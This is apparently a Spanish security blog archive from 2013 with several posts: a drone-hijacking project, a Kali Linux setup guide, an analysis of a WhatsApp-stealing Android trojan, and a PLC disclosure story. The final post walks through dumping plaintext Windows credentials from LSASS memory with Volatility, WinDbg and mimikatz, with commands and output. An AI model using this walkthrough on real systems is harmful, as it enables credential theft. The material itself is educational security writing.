sábado, 7 de diciembre de 2013

SkyJack: un drone de bajo coste capaz de "secuestrar" a otros drones


Seguro que habran leído y les ha llamado la atención una noticia reciente en la que se decía que Amazon estaba pensando utilizar drones para repartir paquetes pequeños a sus clientes. La perspectiva de un enjambre pequeño de aviones no tripulados plantea sin embargo una nueva gama de problemas de seguridad...


Samy Kamkar, creador del famoso gusano que noqueó a MySpace en 2005, ha creado un drone de bajo coste que es capaz de encontrar y secuestrar de forma inalámbrica otros drones.  

La plataforma del proyecto bautizado como SkyJack se compone de:


- Parrot AR.Drone 2: 289,00€

- Raspberry Pi: 38,95 € 

- Batería USB (DigiPower 1100mAh: 16,90€) 

- Adaptador inalámbrico Alfa AWUS036H: 27,99€   

- Adaptador inalámbrico Edimax EW-7811Un: 14,25€ 

- Software aircrack-ng, node-ar-drone, node.js y el código fuente de SkyJack (perl/js)
 
Básicamente lo que hace es ejecutar aircrack-ng para poner su tarjeta de red en modo monitor, detecta las redes y clientes cercanos, reconecta los clientes al Parrot y utiliza Node.js con node-ar-drone para controlar los drones (ciertos tipos, eso sí).


Es decir, por unos 400€ cualquiera podría tener un cuadricóptero capaz de interceptar y secuestrar otros drones para por ejemplo llevarse sus envíos y/o convertirles en drones zombies.
 
Interesante ¿verdad? http://samy.pl/skyjack/ 

jueves, 5 de diciembre de 2013

Que hacer después de instalar Kali Linux



debian



Si eres Novato en Linux no te preocupes, leer es la solución. Si eres novato el Backtrack (hoy llamado Kali linux) Primero tienes que utilizar Debian en cualquier Distribución para que te des una idea sobre el mundo, en serio, de la Seguridad Informática.


Les presentaré un tutorial de las configuraciones básicas del Kali Linux Despues de haberlo instalado, Yo siempre recomiendo hacer una instalación desde 0 que usando particiones, pero ustedes deciden.


1.- Configurar SOURCES LIST  

root@kali:~# editor /etc/apt/sources.list


Esto nos abrira el sources.list y colocamos las siguientes lineas debajo de la de kali


deb http://http.kali.org/kali kali main contrib non-free 

deb http://security.kali.org/kali-security kali/updates main contrib non-free


Seguridad informática



Y ahora para actualizar el sistema con los nuevos repositorios, colocamos lo siguiente en la consola: 


# apt-get update && apt-get upgrade && apt-get dist-upgrade


una vez finalizado podemos instalar programas como Gedit, Synaptic, entre otros... 

2.- Instalar Programas

apt-get install alsa-base linux-headers-`uname -r` file-roller openoffice.org-writer openoffice.org-calc openoffice.org-impress mc htop gnome-tweak-tool etherape

.alsa-base: son controladores de audio, estos hacen que el volumen no se inicie en cero ademas de que no sale el tipico mensaje de error "Error: Driver 'pcspkr' is already registered, aborting..."  

.linux-headers-`uname -r`: son las cabeceras del kernel, estas son necesarias para el driver
de NVIDIA, si tienen otra tarjeta y no se los pide pues no lo instalan.  

.file-roller: es para comprimir, descomprimir y abrir archivos comprimidos desde interfaz grafica,
se integra con el nautilus y es muy comodo.  

.openoffice.org-*: para mi solo son necesarios estos tres, el writer es equivalente al word,
el calc al exel y el impress al powerpoint, esto es util para abrir este tipo de archivos.  

.mc: como un total-commander para consola, muy practico para navegar por el sistema de archivosde forma rapida, permite conexion FTP y lee casi todo tipo de archivos con F3.  


.htop: para manejar los procesos de forma comoda y rapida.  

.gnome-tweak-tool: para instalar/configurar temas y extensiones en gnome-shell  

.etherape: sniffer para visualizar el trafico en un modo grafico-representativo (yo personalmente
no lo instalo, prefiero el wireshark)  

3. Configurar el grub 
 
Si tienes Kali junto a Windows 8 hay un error comun que cuando inicias por Windows te puede salir un error que
dice: error: no argument especified, o algo por el estilo. 

 Esto se corrige sustituyendo --set
por --set=root en el bloque de windows, esto es en el archivo /boot/grub/grub.cfg. 

Esto ocurre porque el grub 1.99 no es compatible con la sola opción --set sin argumento alguno.  

4. Pulseaudio 
 
No se si se habran dado cuenta de un mensaje de error cuando el sistema esta iniciando que dice:   PulseAudio configured for per-user sessions ... (warning).  

Esto es un bug ya conocido del pulseaudio.  

Se corrige editando el archivo /etc/default/pulseaudio y donde dice


PULSEAUDIO_SYSTEM_START=0 le cambiamos el 0 por un 1 quedando asi:  PULSEAUDIO_SYSTEM_START=1  
la proxima vez que reiniciemos la maquina ya no nos saldrá ese warning.  


5. Activar gnome-shell 
 
El Kali ya trae instalado el gnome-shell pero hay que activarlo, para ello es necesario tener


instalados los drivers de video correspondientes a su tarjeta, se activa ejecutando:  

Alt+F2 y en el cuadrito de ejecución ponemos: gnome-shell --replace
y enseguida cambiara a una bella y cómoda interfaz gráfica con todos sus efectos y bondades Descripción: http://o1.t26.net/images/space.gif
a mi de hecho me corre mas rápido que la interfaz de palo de metacity que trae el Kali por defecto.  

Y para que se inicie gnome-shell con el sistema vamos a Startup Application Preferences y lo añadimos
o sea añadimos una entrada con el comando: gnome-shell --replace.

 No he encontrado una forma mejor
de hacerlo, de hecho en internet entero nadie tiene ni idea de como hacerlo, en fin el asunto es
que funcione de cualquier manera.  

Lo otro seria instalar extensiones para enriquecer el entorno, por ejemplo la extension


CoverflowAltTab para un efecto mas cómodo a la vista al ejecutar Alt+TAB, esto lo deben descargar
e instalar con el gnome-tweak-tool donde dice Shell Extensions/Install Shell Extension.  

6. Cambiar el GDM a GDM-Shell 
 
editamos el archivo /etc/gdm3/greeter.gsettings
y comentamos la linea que dice 

session-name='gdm-shell'

y ejecutamos


root@kali:~# dpkg-reconfigure gdm3


y reiniciamos.  

8. Cambiar el color de las ventanas a negro 
 
El tema que usa el sistema por defecto es el Adwaita, lo que haremos sera usar el mismo tema pero de color negro, para ello copiamos el tema original a otra carpeta que le pondremos Adwaita-Dark:  


root@kali:~# cp -R /usr/share/themes/Adwaita /usr/share/themes/Adwaita-Dark


Ahora ejecutamos lo siguiente: 


root@kali:~# mv /usr/share/themes/Adwaita-Dark/gtk-3.0/gtk-dark.css /usr/share/themes/Adwaita-Dark/gtk-3.0/gtk.css


Lo siguiente es abrir el archivo /usr/share/themes/Adwaita-Dark/gtk-2.0/gtkrc (con leafpad)


y borramos todo su contenido (Ctrl+A, Delete), y le copiamos esto: 

http://pastebin.com/DkUxvxmf (la pagina te redirecciona al codigo)


Luego guardamos los cambios en el archivo y cargamos el tema desde gnome-tweak-tool (Alt+F2 gnome-tweak-tool)


vamos a donde dice theme y en GTK+ theme escogemos Adwaita-Dark, igual que en Window theme.  

Reiniciamos sesion. Tambien se puede ejecutar 'Alt+F2 r Enter' pero la experiencia me dijo que


reiniciara la sesion o el sistema.  

8. gsettings 
 
Aqui lo que hago es arreglar algunos detalles graficos: 

.Deshabilitar el cursor parpadeante que me vuelve loco: 


root@kali:~# gsettings set org.gnome.desktop.interface cursor-blink false


.Deshabilitar automount-open (o sea que cuando pongas una memoria o montes algun dispositivo no se abra el nautilus automaticamente)  

root@kali:~# gsettings set org.gnome.desktop.media-handling automount-open false



.Poner los botones a la derecha (porque si trabajan con Windows tambien se vuelven locos):  

root@kali:~# gsettings set org.gnome.shell.overrides button-layout ':minimize,maximize,close'



9. Deshabilitar el boton universal access 


Editamos el archivo /usr/share/gnome-shell/js/ui/panel.js


y comentamos con // la linea que dice: 'a11y': imports.ui.status.accessibility.ATIndicator,)


quedando asi: 


//'a11y': imports.ui.status.accessibility.ATIndicator,)

Un Juego de Android que roba los mensajes de WhatsApp


Hace un par de días llegó un comentario al post que tengo sobre "Cómo Espiar WhatsApp" en la que se hablaba de un servicio para robar la base de datos de WhatsApp mediante un falso juego para Android. La idea es tan sencilla como convencer a un amigo, compañero, pareja, hijo, enemigo, etcétera para que se instale ese juego para que le robe la base de datos de WhatsApp y luego poder consultar los mensajes a través de una página web que te cobrará por ello.
El juego no es más que un sencillo - y feo - en JavaScript que lleva incrustado un código Java que accede a la base de datos y las fotografías de las víctimas del engaño. Es decir, la definición clásica de un Caballo de Troya, dejas pasar un juego aparentemente inofensivo y este te roba los datos. Este esquema está descrito de igual forma para terminales iPhone en el libro de Hacking iOS, siguiendo un esquema similar al que utilizaron tanto Charlie Miller con InstaStock como el malware Find & Call para conseguir saltar todos los controles de seguridad de App Store.

Figura 1: Juego troyanizado para robar la base de datos de WhatsApp

La gran diferencia entre Google Play y App Store es que, mientras que en App Store los controles - aún lejos de ser perfectos - complican mucho la vida a los desarrolladores de app maliciosas, en Google Play esto parece un cachondeo. En el caso de WhatsApp ya vimos como casi todos los días aparecen nuevas apps maliciosas pretendiendo ser la popular app de mensajería en Google Play, y una app como ésta, orientada a robar los datos de los usuarios ni tan siquiera se oculta, tal y como se puede ver en las condiciones del servicio.
Supongo que asumiendo que "la policía es tonta", el servicio pone, como el que no quiere la cosa, que puede hacer una copia de seguridad de tus archivos, que luego dejará consultar vía una página web para que cualquiera pueda acceder a los mensajes robados sólo con poner el número de teléfono y pagar.

Figura 2: Condiciones de servicio donde se "informa" de la copia de archivos

Aprovechando que tenemos un equipo de investigación de Eleven Paths en Málaga, le pedí a mis compañeros de Eleven Paths que le echaran un vistazo a lo que me estaban enviando con el comentario. Con un poco de revisión por Internet se puede ver que este mismo mensaje o uno similar al que había sido dejado en mi blog había sido publicado en varios fotos utilizando nombres distintos, todos creados en fechas similares y más que probablemente desde las mismas direcciones IP.
Por supuesto, echando una ojeada a la app, se puede ver como el código no deja lugar a dudas de lo que va a hacer. Se puede ver fácilmente tras decompilar el Java que en esta sección se accede tanto a la base de datos, como a los ficheros enviados y recibidos.

Figura 3: Código del troyano que roba la base de datos de WhatsApps

Me preguntaba Jordi Évole en la entrevista si esto es legal, y lo cierto es que los que han creado esta app se deben sentir bastante impunes, ya que está creada desde una empresa sita en España que se publicita junto al servicio. Hablan de "copia de seguridad", pero directamente asocian esta app a un servicio para buscar los mensajes de WhatsApp robados y hacen campañas de spam con explicaciones claras de cómo funciona servicio.
No sé si la "policía es tonta" y se creerá que esto realmente es para jugar "y hacer una copia de seguridad de ficheros", pero lo que sí que creo es que Google Play debería hacer muchas más comprobaciones de seguridad, ya que con dar el permiso de acceso al almacenamiento cualquier app maliciosa puede llevarse la intimidad de tu WhatsApp.


Fuente

miércoles, 4 de diciembre de 2013

La historia de un carnicero agradecido con un "hacker"


Hace algún tiempo, cuando estaba recopilando información para escribir el artículo sobre la seguridad de los sistemas basados en PLCs que se llamó “Tu industria en mi manos”, creé una lista bastante extensa de equipos de automatización expuestos en Internet. Cuando el tiempo me lo permite - muy de tarde en tarde -, me dedico a volver a comprobar si los sistemas continúan “vivos y expuestos”. Los resultados son desalentadores.


¿Es que nadie leyó el artículo o es que a nadie le importa realmente la seguridad de sus automatizaciones? Lo más probable es que seguramente, salvo a los que estamos cerca del mundo de la tecnología y la seguridad, al resto de las personas no les llegan estas cosas.


 
Con las automatizaciones que me parecen más críticas hago un esfuerzo extra, las analizo y busco algún dato que me ayude a ponerme en contacto con el responsable de ellas de forma directa para poder ayudarle en la manera que me sea posible. Y es así, de esta forma, como comienza esta historia con un carnicero.

 
Entre la larga lista de automatismos expuestos sin seguridad alguna, una de las instalaciones que se encontraba desprotegida en Internet, parecía a simple vista la encargada de controlar la temperatura de alguna industria cárnica.


Figura 1:El PLC de la industria desprotegido en Internet 

 
Husmeando con cuidado de no romper nada en la memoria del PLC, se encuentra un comando AT para enviar mensajes SMS a un teléfono móvil con las alarmas del sistema. Esto es algo muy común en este tipo de sistemas de control que pretender avisar a los responsables en el mismo momento en que se detecte un problema que pueda afectar a su negocio.


Figura 2: Número de teléfono para el envío de alertas vía SMS  

Descubierto esto, quise ponerme en contacto con el dueño de la plataforma para advertirle de la situación de inseguridad en la que se encontraba, así que decidí buscar información de esta persona haciendo un poco de trabajo de campo con los buscadores de Internet.


En este caso, simplemente poniendo el número de teléfono de que aparecía como contacto del sistema de alertas, Google devuelve - entre otros - un resultado la mar de interesante. Un fichero Excel con el número de teléfono buscado que estaba almacenado en algún servidor FTP.


Figura 3: Resultados de búsqueda del número de teléfono. Un XLS en un FTP

 
Pero claro, no todo iba a ser tan fácil, ya que al intentar acceder al fichero, el resultado que se obtiene no es el documento, sino que el servidor FTP solicita credenciales de acceso.


Figura 4: El servidor FTP autenticado  
En este caso no dejó de ser curioso esto, ya que el documento está indexado en Google, lo que indica que en algún momento del pasado este servidor FTP estuvo abierto a todo Internet, y Google ya lo cacheó. Al abrirlo el documento arrojó un montón más de información de la que esperada en un inicio. Información que no debería ser pública según indica la LOPD. Vamos, que el dueño de ese fichero, al aplicar la LOPD se olvidó de borrar la URL de los buscadores el dueño del fichero tras ponerlo bajo acceso autenticado.


A partir de aquí, teniendo el nombre y los apellidos de alguien relacionado con el número de móvil que había sacado del PLC, y sabiendo que es una industria cárnica que se encontraba en una localidad donde estaba ubicada la dirección IP en la que se exponía el sistema, encontrarla fue coser y cantar.


Figura 5: Los datos de contacto del número de teléfono

Decidí ponerme en contacto mediante un mensaje de correo electrónico aunque he de decir que no me esperaba respuesta alguna. Os aseguro que la mayoría de veces que he intentado avisar a alguien de que tiene una brecha de seguridad he recibido como habitual el silencio por respuesta, cosa bastante frustrante, pero allá cada cual con sus instalaciones.


En este caso la respuesta fue totalmente diferente. La empresa responsable de la infraestructura informática de la planta hizo su trabajo buscándome por redes sociales hasta dar con la empresa donde trabajo y se puso en contacto conmigo, no sólo para que le facilitase la información completa de cómo los había encontrado, sino para agradecerme de parte de la industria cárnica que los avisase. Un sabotaje de éste sistema de automatización podía haber provocado la pérdida de productos cárnicos cuyo valor económico es una linda cifra de seis dígitos.


A día de hoy, he vuelto a comprobarlo y ésta gente ha hecho sus deberes, ya no tiene su PLC expuesto a cualquier desaprensivo con tiempo libre, además de haber cerrado algún otro puerto que tenían abierto. Es reconfortante, muy reconfortante ver que realmente sirve para algo este tiempo que dedicamos a buscar “problemas de otros”. He querido compartir esta experiencia porque, por cada una buena respuesta, sé que hay diez malas, pero aún así...¡no perdamos la esperanza!


Saludos,


Autor: Juan Luis Valverde Padilla
jl.valverde@jvalverde.es


PD: Ahora tendré que hablar con el dueño del servidor FTP para contarle cómo borrar las URLs indexadas en Google y recomendarle algún libro que le ayude aplicar la LOPD correctamente, aunque gracias a su fallo de seguridad, pude dar con la empresa y ayudarles a corregir su fallo de seguridad. Irónico. :)

lunes, 2 de diciembre de 2013

Obtención de contraseñas en claro mediante volcados de memoria (dmp) con WinDbg y la extensión de mimikatz

Como ya saben, con mimikatz podemos obtener los hashes/contraseñas accediendo directamente al proceso o a un minidump de LSASS. Sin embargo, los contenidos de la memoria de LSASS están también "disponibles" a través de otras fuentes:
 
- copias de memoria de máquinas virtuales (archivos .vmem, etc.)

- archivos de hibernación (archivos hiberfil.sys)

- archivos de volcado de memoria crashdump (.dmp)
...
Hasta ahora mimikatz no podía tratar directamente estas fuentes de datos porque es relativamente complejo (aunque posible) crear un traductor de direcciones virtuales a físicas para todos los modos de direccionamiento (especialmente con las características de Microsoft) y porque el administrador de memoria de Windows no puede garantizar el mapeo de memoria virtual-física durante un tiempo T.

Por eso "Gentil Kiwi" ha creado una extensión para la herramienta más adecuada para la lectura de volcados de memoria (el formato "crashdump") y la manipulación de los símbolos: WinDBG!.

Veamos un ejemplo del uso de esta extensión mediante el análisis y la extracción de un fichero .vmem de una máquina virtual Win7 de VMWare, es decir, el fichero que contiene un backup de la paginación de memoria y que se genera automáticamente al pausar y guardar el estado de una VM.

Empezamos analizando el volcado mediante Volatility y visualizando nuestro objetivo lsass.exe (Local security authentication server):

D:\Hacking>volatility-2.3.1.standalone.exe -f "d:\Virtual Machines\windows7\IE8- Win7-65e39c4c.vmem" --profile=Win7SP0x86  pslist Volatility Foundation Volatility Framework 2.3.1 Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Star t                          Exit ---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ 0x841388a8 System                    4      0     92      471 ------      0 2013-11-26 11:05:00 UTC+0000 0x8529e930 smss.exe                268      4      5       30 ------      0 2013-11-26 11:05:00 UTC+0000 0x85a2ad40 csrss.exe               368    348      9      551      0      0 2013-11-26 11:05:08 UTC+0000 0x85d28d40 wininit.exe             420    348      7       90      0      0 2013-11-26 11:05:11 UTC+0000 0x85d13d40 csrss.exe               428    412     10      199      1      0 2013-11-26 11:05:11 UTC+0000 0x85d36d40 winlogon.exe            476    412      6      122      1      0 2013-11-26 11:05:11 UTC+0000 0x85d62820 services.exe            520    420     24      253      0      0 2013-11-26 11:05:11 UTC+0000 0x85d57ad0 lsass.exe               536    420      9      544      0      0 2013-11-26 11:05:11 UTC+0000 0x8524d808 lsm.exe                 544    420     11      155      0      0 2013-11-26 11:05:11 UTC+0000 0x85d577e0 svchost.exe             636    520     17      375      0      0 2013-11-26 11:05:12 UTC+0000 ...
 
Lo primero que tenemos que hacer es convertir el fichero .vmem a formato .dmp, el estándar diseñado por Microsoft para depuración. En nuestro caso lo haremos también mediante Volatility:

D:\Hacking>volatility-2.3.1.standalone.exe -f "d:\Virtual Machines\windows7\IE8- Win7-65e39c4c.vmem" --profile=Win7SP0x86 raw2dmp -O mem.dmp Volatility Foundation Volatility Framework 2.3.1 Writing data (5.00 MB chunks): |................................................................................................................................ ..............................................................................|
 
Ahora que tenemos el fichero .dmp lo abrimos con WinDbg (control + D):

 
 
A continuación simplemente cargamos la librería mimilib.dll:

16.0: kd> .load d:\hacking\mimikatz_trunk\x64\mimilib.dll   .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 24 2013 21:22:48)  .## ^ ##.  Windows build 7601  ## / \ ##  /* * *  ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )  '## v ##'   http://blog.gentilkiwi.com/mimikatz   '#####'                                  WinDBG extension ! * * */ =================================== #         * Kernel mode *         # =================================== # Search for LSASS process 0: kd> !process 0 0 lsass.exe # Then switch to its context 0: kd> .process /r /p <EPROCESS address> # And finally : 0: kd> !mimikatz =================================== #          * User mode *          # =================================== 0:000> !mimikatz =================================== 16.0: kd>
 
Después hay que situarse en el contexto del proceso LSASS:

16.0: kd> !process 0 0 lsass.exe PROCESS 85d57ad0  SessionId: 0  Cid: 0218    Peb: 7ffd3000  ParentCid: 01a4     DirBase: 3eca00e0  ObjectTable: 882e2288  HandleCount: 544.     Image: lsass.exe 16.0: kd> .process /r /p 85d57ad0 Implicit process is now 85d57ad0 Loading User Symbols ..........................................................
 
Y finalmente ejecutar el comando !mimikatz:

 
 

Fuente: WinDbg et l’extension de mimikatz